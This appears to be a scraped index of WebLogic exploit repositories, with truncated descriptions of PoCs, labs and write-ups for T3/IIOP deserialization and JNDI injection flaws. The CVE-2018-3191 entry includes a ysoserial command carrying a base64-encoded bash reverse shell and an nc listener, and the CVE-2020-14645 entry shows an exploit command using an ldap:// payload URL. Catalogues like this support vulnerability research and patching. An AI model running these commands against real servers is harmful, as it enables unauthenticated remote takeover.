CVE-2020-14756

CVE-2020-14756 WebLogic T3/IIOP 远程代码执行 ExternalizableHelper.class（来自 coherence.jar） 说明 项目基于 https://github.com/Y4er/CVE-2020-2555 和 weblogiccmd 已在 12.2.1.4.0 和 JDK 1.8.0221 上测试 参考 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2. https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ...

CVE-2024-21182

CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI注入 → 远程代码执行（实验环境） 一个自包含、单命令的Docker实验环境，用于复现并验证 Oracle WebLogic Server OpaqueReference JNDI注入漏洞家族（CVE-2024-21182，CVE-2023-21839的补丁绕过）并实现未经身份验证的远程代码执行 。 ⚠️ 仅限授权的安全研究、教育和补丁验证使用。 参见免责声明。仅针对此实验环境或您拥有的系统运行。 本实验演示的内容 CVE-2024-21182 是 Oracle WebLogic...

POC_CVE-2020-2555

POCCVE-2020-2555 CVE-2020-2555 的 PoC 三部分： 客户端与服务器：构建对象并发送到服务器，触发 gadgetchain。用于构建 owner 对象。 攻击：通过 T3 协议使用 pwntools 发送对象。...

CVE_2020_2546

Twitter: @Hktalent3135773 1、Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2、exploit GIOP + send bind CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 or others GIOP + send jta rmi or others...

cve-2020-2555

CVE-2020-2555 Ejecutar Main.java generará payload.ser en el directorio actual; este payload se puede enviar al servidor de destino mediante el protocolo t3...

CVE-2024-21006

CVE-2024-21006 CVE-2024-21006 Descripción Vulnerabilidad en el producto Oracle WebLogic Server de Oracle Fusion Middleware componente: Core. Las versiones compatibles afectadas son 12.2.1.4.0 y 14.1.1.0.0. Una vulnerabilidad fácilmente explotable permite que un atacante no autenticado con acceso ...

CVE-2022-21350

为什么两个poc 一个带 com.51pwn.hktalent.CreatJar.mainargs; 是用来创建最小生成payload工具时使用的 创建后使用另外一个 运行 CVE-2022-21350powerBy51pwn.jar 构建payload报错不影响payload的使用 other exp root@kitploit: CVE20202551 CVE20202555 CVE20202883 CVE202014645 CVE202014756 CVE202014825 CVE202014841 CVE20212394 CVE202221306 CVE202221350 How...

Weblogic-CVE-2020-2551-To-Internet

Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC para usar en Internet POC de prueba se puede usar en redes externas python CVE-2020-2551.py HOST IP Intento de modificar el codebase para cargar clases remotas fallido python CVE-2020-TEST.py HOST IP Breve análisis de la vulnerabilidad weblogic...

CVE-2018-3191

Weblogic-CVE-2018-3191远程代码命令执行漏洞 weblogic For Docker 环境 0x00 简介 北京时间10月17日，Oracle官方发布的10月关键补丁更新CPU（Critical Patch Update）中修复了一个高危的WebLogic远程代码执行漏洞（CVE-2018-3191）。 该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。 Oracle官方CPU链接：...

CVE-2019-2890

CVE-2019-2890 CVE-2019-2890 WebLogic 的 T3 漏洞利用程序...

CVE-2019-2890

CVE-2019-2890 克隆代码自 https://github.com/v-gift/CVE-2019-2890 CVE-2019-2890 WebLogic T3漏洞利用...

Oracle WebLogic Server - Remote Code Execution

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...

CVE-2023-21839

CVE-2023-21839 分析 该漏洞是因为通过t3或iiop协议绑定了对象之后调用lookup或list方法的时候触发了绑定对象的getReferent方法 调用栈 t3协议的 root@kitploit: getObjectInstance:96, WLNamingManager weblogic.jndi.internal resolveObject:377, ServerNamingNode weblogic.jndi.internal resolveObject:856, BasicNamingNode weblogic.jndi.internal lookup:209,...

T3-Technology-CPE-Advisories

T3 Technology CPE — 安全公告 发现 TrueOnline（泰国）部署的 T3 Technology CPE（ONU/路由器）设备存在多个严重漏洞。 漏洞列表 CVE ID| 严重性| 概述 ---|---|--- CVE-2026-35904| 4.3 中危| 通过 CGI 未经授权启用 Telnet CVE-2026-35905| 8.8 高危| 硬编码 root 凭据（superadmin） CVE-2026-35906| 9.6 严重| 通过调试 CGI 端点未经授权远程代码执行 评分说明： CVE-2026-35904 根据 CVSS v3.1 §3.5 对其...

CVE-2024-21182---Oracle-WebLogic-Server-JNDI-Injection-RCE

CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE -orange 📋 Descripción CVE-2024-21182 es una vulnerabilidad de inyección JNDI no autenticada que afecta al componente Core de Oracle WebLogic Server. Permite a un atacante...

woodpecker-plugins

woodpecker-plugins usage Copie el plugin en el directorio woodpecker-framwork/plugin y ejecute java -jar woodpecker-framework.1.3.3.jar de https://github.com/woodpecker-appstore weblogic-info check T3 isOpen: root@kitploit: echo 't3...

WLT3Serial

WLT3Serial 针对WebLogic T3（及T3S）监听器的原生Java反序列化利用工具（概述见此处）。需要第三方依赖ysoserial和wlthint3client。 与JavaUnserializeExploits weblogic.py和loubia相比的优缺点 优点： 原生使用Java处理T3/T3S通信（针对大多数利用方式），而非使用Python脚本的一次性数据包捕获，因此应能适用于所有WebLogic服务器版本。 每次执行时通过ysoserial直接生成对象载荷，而非一次性生成的对象载荷，因此支持最新版ysoserial中的所有对象载荷类型。...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 反弹shell 本地ip：172.16.38.1 Weblogic：172.16.38.174:7001 1、 本地执行 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' 然后执行 nc -lvv 7777 （1） 其中的 bash...

CVE-2017-10271

LAB 2 - CVE-2017-10271：WebLogic XMLDecoder 反序列化漏洞 Writeup 一、系统分析 系统日志分析 检测到的服务： Oracle WebLogic Server（AdminServer，属于 basedomain，以 Development Mode 运行）。 连接端口： 7001。 支持的协议： http、t3、iiop、ldap、snmp。 攻击面评估： 该服务在 7001 端口上暴露了 t3 协议。如果 WebLogic 版本未针对与通过 RMI（远程方法调用）进行 Java 对象反序列化相关的漏洞打补丁，这一默认配置会带来高风险。 We...

CVE-2020-14645

CVE-2020-14645 使用方法 首先使用NDI-Injection-Exploit监听，并生成一个ldap地址。 java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget 和-RMI必填，https可使用--SSL参数，-Port默认7001。 自行编译需要添加coherence.jar和wlfullclient.jar 漏洞参考：...